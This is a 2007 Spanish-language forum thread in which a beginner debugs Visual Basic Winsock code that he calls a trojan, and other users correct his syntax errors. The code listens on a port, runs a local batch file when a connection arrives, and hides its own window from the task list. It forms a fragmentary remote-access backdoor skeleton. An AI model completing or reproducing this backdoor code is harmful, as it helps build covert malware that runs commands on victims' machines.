Título: empezando...con vb Publicado por: saliaz en 4 Julio 2007, 15:14 pm ola soy nuevo en el foro....he estado mirando tutoriales y documentos por el foro, y he decido probar con un troyano en visual basic.....,la cuestion
es que he copiado varios codigos de manuales de este foro y otras páginas, y nada por probar,he instalado la consola windsock y he seleccionado en nuevo proyecto exe estandar, he copiado los codigos igual que estaban en los manuales y por probar ... he ejecutado generar proyecto, pero me da error en la linea 22( bLOQUE IF SIN END IF) ERROR DE COMPILACION Private Sub Frame1_DragDrop(Source As Control, X As Single, Y As Single) End Sub Private Sub escuchar_Click() On Error Resume Next Ws.LocalPort = Text1.Text Ws.Close Ws.Listen If Ws.State = 2 Then Label1.Caption = "Escuchando" End Sub Private Sub ws_ConnectionRequest(ByVal requestID As Long) On Error GoTo error Ws.Close Ws.Accept requestID Label3.Caption = Ws.RemoteHostIP Shell "c:\ki.bat" Timer1.Interval = 3000 error: End Sub Private Sub Command1_Click() If winsock1.State = sckConnected Then MsgBox "conection satisfactoria", vbInformation End Sub ------AQUI LINEA 22--------- Private Sub Form_Load() Timer1 .Interval = 1 End Sub Private Sub Timer1_Timer() App TaskVisible = False Timer1.Enabled = False End Sub GRACIAS...COMO SE ADUJUNTAN IMAGENES?GRACIAS... :-[ :-[ Título: Re: empezando...con vb Publicado por: HALC12 en 4 Julio 2007, 15:54 pm saliaz22
tu error es cosa de que te fijes bien mira cuando tu colocas un if debes cerrarlo colocando un end if si no te va a salir ese error siempre si no me equivoco quedaria asi Private Sub Command1_Click() If winsock1.State = sckConnected Then MsgBox "conection satisfactoria", vbInformation end if End Sub ------AQUI LINEA 22--------- pruebalo me avisas si te sirvio o no espero que te sirva saludes Título: Re: empezando...con vb Publicado por: Tughack en 4 Julio 2007, 16:32 pm Esto ni merece una respuesta.... Kerer hacer un programa sin kerer aprender a programar...
Se fuera mod en este foro borraria este tema.... Salu2 Título: Re: empezando...con vb Publicado por: saliaz en 4 Julio 2007, 23:02 pm gracias por la ayuda halc12,la verdad es que no tengo mucha idea aun, y la ayuda se agradece...
a ti tughack, coño tambien me aburro de leer manuales, yo creo que un poquito de practica tambien va bien, por lo menos se hace mas ameno.....no les estoy dicendo a nadie que siga mis pasos...jeje, de todas formas gracias a los dos.. Título: Re: empezando...con vb Publicado por: saliaz en 4 Julio 2007, 23:31 pm halc12 si que era eso......aunque despues de eso me he encontado mas errores en el code(varios espacios en blanco que habia dejado) pero los he sabido solucionar....gracias otra vez.
Título: Re: empezando...con vb Publicado por: saliaz en 4 Julio 2007, 23:59 pm en este tambien me da error en lo que esta en negro:
Private Sub Command1_Click() Winsock1.LocalPort = puerto.Text Winsock1.Listen End Sub Private Sub Command2_Click() Winsock1.Close End Sub Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) txtrecibido = txtrecibido & "conexion cerrada:" & Winsock1.RemoteHostIP Winsock1.Close txtrecibido = "id de la solicitud de la conexión" & requestid& " de "&winsock1.remotehostip" Winsock1.Close End Sub y me lo he copiado exactamente de un manual...? Título: Re: empezando...con vb Publicado por: Nakp en 5 Julio 2007, 00:12 am es q has puesto unas comillas de mas :rolleyes: tienes errores de sintaxis :P queda asi:
Código
pd: por el amor de Dios!!! usen las etiquetas del codigo!!! hasta lo han mejorado para distintos tipos de lenguajes y no lo usan es un desperdicio :¬¬ salu2 Título: Re: empezando...con vb Publicado por: HALC12 en 5 Julio 2007, 02:03 am SALIAZ
mira si lo que te dice Nakpanzer no te sale prueva con esto txtrecibido = "id de la solicitud de la conexión" & requestid & " de " & Winsock1.RemoteHostIP si te fijas bien la diferencia casi no es nada solo es cuestion de que mires bien varios tutoriales y los compares asi apremderas mas mira Tughack yo se que este error es demasiado simple como tu dices pero para alguien que esta aprendiendo puede pareserle dificil yo tambien he pasado por esto Título: Re: empezando...con vb Publicado por: Tughack en 5 Julio 2007, 10:57 am Citar mira Tughack yo se que este error es demasiado simple como tu dices pero para alguien que esta aprendiendo puede pareserle dificil yo tambien he pasado por esto Bueno ya no digo mas nada, cada uno tiene su forma de aprender, y se kieres saber se te paso eso tambien no lo has aprendido de la mejor forma. Solo es dificil kuando forzamos a k funcione sin tener kualkier nocion de lo k hacemos. Salu2 Título: Re: empezando...con vb Publicado por: saliaz en 6 Julio 2007, 15:25 pm lo prove primero como dijo nakpanzer pero me daba error y si que me funciono como halck12...eso lo dejo para vosotros que sois los expertos... :D
Título: Re: empezando...con vb Publicado por: ranslsad en 6 Julio 2007, 16:41 pm Saliaz22 si quieres ayuda directa agregame a ranslsad@archangel.es
asi te puedo ayudar :) Salu2 Ranslsad Título: Re: empezando...con vb Publicado por: Nakp en 6 Julio 2007, 19:16 pm me faltaba agregar especios :xD sorry... ya lo corregi igual es lo q puso HALC12
salu2 |